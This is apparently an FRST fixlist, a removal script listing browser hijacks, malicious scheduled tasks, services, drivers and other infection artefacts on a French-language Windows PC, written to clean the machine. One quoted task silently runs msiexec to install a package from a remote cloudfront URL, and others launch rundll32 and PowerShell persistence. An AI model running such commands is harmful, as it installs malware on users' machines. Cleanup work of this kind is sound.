start
CreateRestorePoint:
CloseProcesses:
Task: {0C599286-4DF9-48ED-94C5-209A98ACFAA8} - System32\Tasks\562K136K752D311 => Rundll32.exe "C:\ProgramData\562K136K752D311\562K136K752D311.dll",KDjdGwLNCcu <==== ATTENTION
Task: {58335BFF-5C2A-41EA-922F-CF3F1D48BCE5} - System32\Tasks\Milimili => C:\Program Files\MIO\MIO.exe [2017-02-06] () <==== ATTENTION
Task: {67B929C8-BA8D-46F1-B488-6C0E6BF66109} - System32\Tasks\Windows-PG => powershell.exe C:\windows\psgo\psgo.ps1
Task: {F7AF1B60-5E02-4DB0-AC9A-A407DFF66526} - System32\Tasks\Reuksy => msiexec.exe /i hxxp://d2buh1bf1g584w.cloudfront.net/msi/rel.php?u=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX&v=20170314 /q <==== ATTENTION
ShortcutWithArgument: C:\Users\Florian\Desktop\Internet Explorer.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\Users\Florian\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\Users\Florian\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk -> C:\Program Files\Google\Chrome\Application\chrome.exe (Google Inc.) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\Users\Florian\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files\Google\Chrome\Application\chrome.exe (Google Inc.) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\Users\Public\Desktop\Gestionnaire Internet.lnk -> C:\Program Files\OrangeHSS\Launcher\Launcher.exe (France Telecom SA) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files\Google\Chrome\Application\chrome.exe (Google Inc.) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\Users\Public\Desktop\Mozilla Firefox.lnk -> C:\Program Files\Mozilla Firefox\firefox.exe (Mozilla Corporation) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
ShortcutWithArgument: C:\Users\Public\Desktop\Navigateur Orange.lnk -> C:\Program Files\OrangeHSS\Launcher\Launcher.exe (France Telecom SA) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
AlternateDataStreams: C:\ProgramData\Temp:131C0EE9 [222]
AlternateDataStreams: C:\ProgramData\Temp:3064D21D [119]
AlternateDataStreams: C:\ProgramData\Temp:3B3A35EC [214]
AlternateDataStreams: C:\ProgramData\Temp:41099CE9 [242]
AlternateDataStreams: C:\ProgramData\Temp:4F636E25 [116]
AlternateDataStreams: C:\ProgramData\Temp:B623B5B8 [124]
AlternateDataStreams: C:\ProgramData\Temp:CDFF58FE [123]
AlternateDataStreams: C:\ProgramData\Temp:CE0A077E [125]
AlternateDataStreams: C:\ProgramData\Temp:DCAF903C [113]
FirewallRules: [{A43883C5-DEA0-4924-A157-A1565736C93A}] => (Allow) C:\Windows\System32\dmwu.exe
FirewallRules: [{AB300AFA-0F04-4663-AA2E-B62FC276A9CC}] => (Allow) C:\Windows\System32\dmwu.exe
FirewallRules: [{BAA5964E-9E2A-4854-B824-E026CADCB834}] => (Allow) C:\Windows\System32\ARFC\wrtc.exe
FirewallRules: [{6C3AD062-5193-4E44-9AC8-76D773FE45C8}] => (Allow) C:\Windows\System32\ARFC\wrtc.exe
FirewallRules: [{28A40EF0-081B-45D4-B55C-78E17C500829}] => (Allow) C:\Program Files\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{021C8AA7-281A-4C52-9B16-12EAB9DC5E59}] => (Allow) C:\Program Files\Firefox\Firefox.exe
FirewallRules: [{CB26E5E1-10CD-401E-997B-FE525C44AD52}] => (Allow) C:\Program Files\MIO\loader\hitachixhts545032b9a300_090401pb0c00qpgge9zax.dat
FirewallRules: [{1EB4BBF6-7B0A-4BF7-8697-E9A13ED12521}] => (Allow) C:\Program Files\MIO\loader\hitachixhts545032b9a300_090401pb0c00qpgge9zax.dat
HKU\S-1-5-21-4192593202-4162719178-1722630552-1000\...\Run: [N9A17Y5VYO] => "C:\Program Files\DiskP\DSTLO.exe" <===== ATTENTION
HKU\S-1-5-21-4192593202-4162719178-1722630552-1000\...\Run: [background_fault] => "C:\Users\Florian\AppData\Local\background_fault\aswRD.exe" ,background_fault_collector
HKLM\...\Providers\tdl: C:\Users\Florian\AppData\Local\Temp\3162.tmp
IFEO\GoogleUpdate.exe: [Debugger] 324095823984.exe
IFEO\GoogleUpdaterService.exe: [Debugger] 8736459873644.exe
ShellExecuteHooks: Pas de nom - {AEB6717E-7E19-11d0-97EE-00C04FD91972} - -> Pas de fichier
HKU\S-1-5-21-4192593202-4162719178-1722630552-1000\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <======= ATTENTION
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
HKLM\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX&q={searchTerms}
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://www.ourluckysites.com/?type=hp&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
HKLM\Software\Microsoft\Internet Explorer\Main,Default_Search_URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX&q={searchTerms}
HKU\S-1-5-21-4192593202-4162719178-1722630552-1000\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.ourluckysites.com/?type=hp&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
SearchScopes: HKLM -> DefaultScope {77AA745B-F4F8-45DA-9B14-61D2D95054C8} URL =
SearchScopes: HKU\S-1-5-21-4192593202-4162719178-1722630552-1000 -> DefaultScope {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX&q={searchTerms}
SearchScopes: HKU\S-1-5-21-4192593202-4162719178-1722630552-1000 -> {33BB0A4E-99AF-4226-BDF6-49120163DE86} URL = hxxp://www.ourluckysites.com/search/?type=ds&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX&q={searchTerms}
BHO: Bing Bar Helper -> {d2ce3e00-f94a-4740-988e-03dc2f38c34f} -> C:\Program Files\Microsoft\BingBar\7.3.132.0\BingExt.dll [2014-03-12] (Microsoft Corporation.)
Toolbar: HKLM - Bing Bar - {8dcb7100-df86-4384-8842-8fa844297b3f} - C:\Program Files\Microsoft\BingBar\7.3.132.0\BingExt.dll [2014-03-12] (Microsoft Corporation.)
Toolbar: HKU\S-1-5-21-4192593202-4162719178-1722630552-1000 -> Pas de nom - {21FA44EF-376D-4D53-9B0F-8A89D3229068} - Pas de fichier
StartMenuInternet: IEXPLORE.EXE - C:\Program Files\Internet Explorer\IEXPLORE.EXE hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
FF Homepage: Mozilla\Firefox\Profiles\rsfuxm9g.default-1483997691786 -> hxxp://www.ourluckysites.com/?type=hp&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
FF SearchPlugin: C:\Users\Florian\AppData\Roaming\Mozilla\Firefox\Profiles\rsfuxm9g.default-1483997691786\searchplugins\ourluckysites.xml [2017-05-22]
FF ProfilePath: C:\Users\Florian\AppData\Roaming\Firefox\Firefox\Profiles\rsfuxm9g.default-1483997691786 [2017-04-12]
FF Homepage: Firefox\Firefox\Profiles\rsfuxm9g.default-1483997691786 -> hxxp://www.searchinme.com//?type=hp&ts=1491327004101&z=26d87532fbc52b69e856361g0z2t3e5m6o1ofw6g6o&from=official&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
FF Extension: (SimilarWeb) - C:\Users\Florian\AppData\Roaming\Firefox\Firefox\Profiles\rsfuxm9g.default-1483997691786\Extensions\@DA3566E2-F709-11E5-8E87-A604BC8E7F8B.xpi [2017-04-03] [non signé]
FF Extension: (FF Adr) - C:\Users\Florian\AppData\Roaming\Firefox\Firefox\Profiles\rsfuxm9g.default-1483997691786\Extensions\@H99KV4DO-UCCF-9PFO-9ZLK-8RRP4FVOKD9O.xpi [2017-03-28] [non signé]
FF Extension: (Français Language Pack) - C:\Users\Florian\AppData\Roaming\Firefox\Firefox\Profiles\rsfuxm9g.default-1483997691786\Extensions\langpack-fr@firefox.mozilla.org.xpi [2017-03-28] [non signé]
FF SearchPlugin: C:\Users\Florian\AppData\Roaming\Firefox\Firefox\Profiles\rsfuxm9g.default-1483997691786\searchplugins\startsearch.xml [2017-03-28]
FF Extension: (Toolbar Iadah) - C:\Program Files\Mozilla Firefox\extensions\toolbar@iadah.com [2016-11-20] [non signé]
StartMenuInternet: FIREFOX.EXE - C:\Program Files\Mozilla Firefox\firefox.exe hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
FF ExtraCheck: C:\Program Files\mozilla firefox\firefox.cfg [2013-10-25] <==== ATTENTION
CHR HomePage: Default -> hxxp://www.ourluckysites.com/?type=hp&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
CHR StartupUrls: Default -> "hxxp://www.ourluckysites.com/?type=hp&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX"
CHR DefaultSearchURL: Default -> hxxp://www.ourluckysites.com/search/?type=ds&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX&q={searchTerms}
CHR DefaultSearchKeyword: Default -> ourluckysites
CHR Profile: C:\Users\Florian\AppData\Local\Google\Chrome\User Data\Default [2017-05-22]
StartMenuInternet: Google Chrome - C:\Program Files\Google\Chrome\Application\chrome.exe hxxp://www.ourluckysites.com/?type=sc&ts=1495480087&z=682f8020bb49fa35724a981g6zbtdw3z8bee2edb4q&from=che0812&uid=HitachiXHTS545032B9A300_090401PB0C00QPGGE9ZAX
R2 BIT; C:\ProgramData\BIT\BIT.dll [1858560 2017-05-22] (win helper) [Fichier non signé] <==== ATTENTION
S2 CSHMDR; C:\Windows\System32\svchost.exe [21504 2008-01-21] (Microsoft Corporation) <==== ATTENTION (ServiceDLL non trouvé(e))
S2 WANARE; C:\Windows\System32\svchost.exe [21504 2008-01-21] (Microsoft Corporation) <==== ATTENTION (ServiceDLL non trouvé(e))
R2 WinSAPSvc; C:\Users\Florian\AppData\Roaming\WinSAPSvc\WinSAP.dll [1900544 2017-05-22] (TODO: <公司名>) [Fichier non signé] <==== ATTENTION
S2 WINSNARE; C:\Windows\System32\svchost.exe [21504 2008-01-21] (Microsoft Corporation) <==== ATTENTION (ServiceDLL non trouvé(e))
U3 ad5ii48w; C:\Windows\system32\Drivers\ad5ii48w.sys [0 ] (Microsoft Corporation) <==== ATTENTION (zéro octet Fichier/Dossier)
S1 aqdfzuujesnzdor; \??\C:\Users\Florian\AppData\Local\Temp\bk9E92.tmp\aqdfzuujesnzdor.sys [X]
S1 awngeyuhtcmxguyg; \??\C:\Users\Florian\AppData\Local\Temp\bk676C.tmp\awngeyuhtcmxguyg.sys [X]
S1 azmbamjzcfsnhtosd; \??\C:\Users\Florian\AppData\Local\Temp\bk29A1.tmp\azmbamjzcfsnhtosd.sys [X]
S1 bejfgkxmqrxawl; \??\C:\Users\Florian\AppData\Local\Temp\bk4397.tmp\bejfgkxmqrxawl.sys [X]
S1 bluyuisjkwedwxjtr; \??\C:\Users\Florian\AppData\Local\Temp\bk18A1.tmp\bluyuisjkwedwxjtr.sys [X]
S3 catchme; \??\C:\Users\Florian\AppData\Local\Temp\catchme.sys [X]
S1 cfczqeynfkjbqgq; \??\C:\Users\Florian\AppData\Local\Temp\bk58AD.tmp\cfczqeynfkjbqgq.sys [X]
S1 d673b418ec1c8d18e589dad82211f3be; \??\C:\Windows\system32\drivers\d673b418ec1c8d18e589dad82211f3be.sys [X]
S1 dxtqfnlmsggssvldt; \??\C:\Users\Florian\AppData\Local\Temp\bk85D4.tmp\dxtqfnlmsggssvldt.sys [X]
S1 fwozksioqsnakdmvz; \??\C:\Users\Florian\AppData\Local\Temp\bkE3FB.tmp\fwozksioqsnakdmvz.sys [X]
S1 ghzfkuojqlxcjlf; \??\C:\Users\Florian\AppData\Local\Temp\bkDF1B.tmp\ghzfkuojqlxcjlf.sys [X]
S1 gjgdrbzbkialgdys; \??\C:\Users\Florian\AppData\Local\Temp\bk985A.tmp\gjgdrbzbkialgdys.sys [X]
S1 hsrcnaohyycyzimsg; \??\C:\Users\Florian\AppData\Local\Temp\bk23B8.tmp\hsrcnaohyycyzimsg.sys [X]
S1 jbaevpjoieoenbxdy; \??\C:\Users\Florian\AppData\Local\Temp\bk7FDB.tmp\jbaevpjoieoenbxdy.sys [X]
S1 jkyyobthzhneiin; \??\C:\Users\Florian\AppData\Local\Temp\bkA4C9.tmp\jkyyobthzhneiin.sys [X]
S1 joohuxbpaqoftidy; \??\C:\Users\Florian\AppData\Local\Temp\bkFDD1.tmp\joohuxbpaqoftidy.sys [X]
S1 kgpeimrfrldynkqfr; \??\C:\Users\Florian\AppData\Local\Temp\bk89F9.tmp\kgpeimrfrldynkqfr.sys [X]
S1 kwoejwqfzpajgn; \??\C:\Users\Florian\AppData\Local\Temp\bk7BE5.tmp\kwoejwqfzpajgn.sys [X]
S1 lxcjuzoqukqssp; \??\C:\Users\Florian\AppData\Local\Temp\bk4867.tmp\lxcjuzoqukqssp.sys [X]
S1 mdcngywimhbpdsxnc; \??\C:\Users\Florian\AppData\Local\Temp\bk54B7.tmp\mdcngywimhbpdsxnc.sys [X]
S1 nxrkwpdcpwqxcbln; \??\C:\Users\Florian\AppData\Local\Temp\bk2C30.tmp\nxrkwpdcpwqxcbln.sys [X]
S1 okyypdilplxjhy; \??\C:\Users\Florian\AppData\Local\Temp\bk6B24.tmp\okyypdilplxjhy.sys [X]
S1 orpkybapmhveet; \??\C:\Users\Florian\AppData\Local\Temp\bkADDE.tmp\orpkybapmhveet.sys [X]
S1 rhcjyjcehwfaite; \??\C:\Users\Florian\AppData\Local\Temp\bk9C41.tmp\rhcjyjcehwfaite.sys [X]
S1 rvrsklsimgzbauu; \??\C:\Users\Florian\AppData\Local\Temp\bk562D.tmp\rvrsklsimgzbauu.sys [X]
S1 tbcuwmfqmqroiv; \??\C:\Users\Florian\AppData\Local\Temp\bkEF12.tmp\tbcuwmfqmqroiv.sys [X]
S1 ufxfalfcotlwnlp; \??\C:\Users\Florian\AppData\Local\Temp\bkFC7A.tmp\ufxfalfcotlwnlp.sys [X]
S1 vadlpujvulvouk; \??\C:\Users\Florian\AppData\Local\Temp\bkA46C.tmp\vadlpujvulvouk.sys [X]
S1 xnjljverulfsqvwyw; \??\C:\Users\Florian\AppData\Local\Temp\bk12B.tmp\xnjljverulfsqvwyw.sys [X]
S1 yeknundgdyuctrbu; \??\C:\Users\Florian\AppData\Local\Temp\bkCD11.tmp\yeknundgdyuctrbu.sys [X]
S1 yhdbaohcsirajpbh; \??\C:\Users\Florian\AppData\Local\Temp\bkD183.tmp\yhdbaohcsirajpbh.sys [X]
S1 ytzodflbqakgqn; \??\C:\Users\Florian\AppData\Local\Temp\bk35A3.tmp\ytzodflbqakgqn.sys [X]
S1 zjtzhymnpxzvgieyt; \??\C:\Users\Florian\AppData\Local\Temp\bk31FB.tmp\zjtzhymnpxzvgieyt.sys [X]
S1 zwjjophgffnpewu; \??\C:\Users\Florian\AppData\Local\Temp\bk3313.tmp\zwjjophgffnpewu.sys [X]
2017-05-18 20:41 - 2017-05-18 21:01 - 00000000 ____D C:\Reimward
2017-05-18 20:41 - 2017-05-18 20:41 - 00000000 ____D C:\Program Files\{D38D20B5-DEFD-44D0-BD0C-095CB226622B}
2017-05-05 12:55 - 2017-05-22 21:07 - 00000000 ____D C:\ProgramData\BIT
2017-05-05 12:55 - 2017-05-05 12:55 - 00000000 ____D C:\Windows\psgo
2017-05-05 12:49 - 2017-05-05 12:49 - 00000000 ____D C:\Program Files\{AB029046-BA8C-4F2E-89E6-6B314E51E6DD}
2017-04-26 19:49 - 2017-05-05 16:46 - 00000000 ____D C:\Insist
2017-05-22 21:06 - 2017-03-27 19:59 - 00000000 ____D C:\Users\Florian\AppData\Roaming\WinSAPSvc
2017-05-05 19:07 - 2017-03-28 19:14 - 00000000 ____D C:\Program Files\WinSnare(4.4.0)
C:\Windows\system32\Drivers\ad5ii48w.sys
C:\Users\Florian\AppData\Roaming\Firefox
C:\Program Files\Microsoft\BingBar
C:\ProgramData\562K136K752D311
C:\windows\psgo
C:\Program Files\DiskP
C:\Users\Florian\AppData\Local\background_fault
EmptyTemp:
end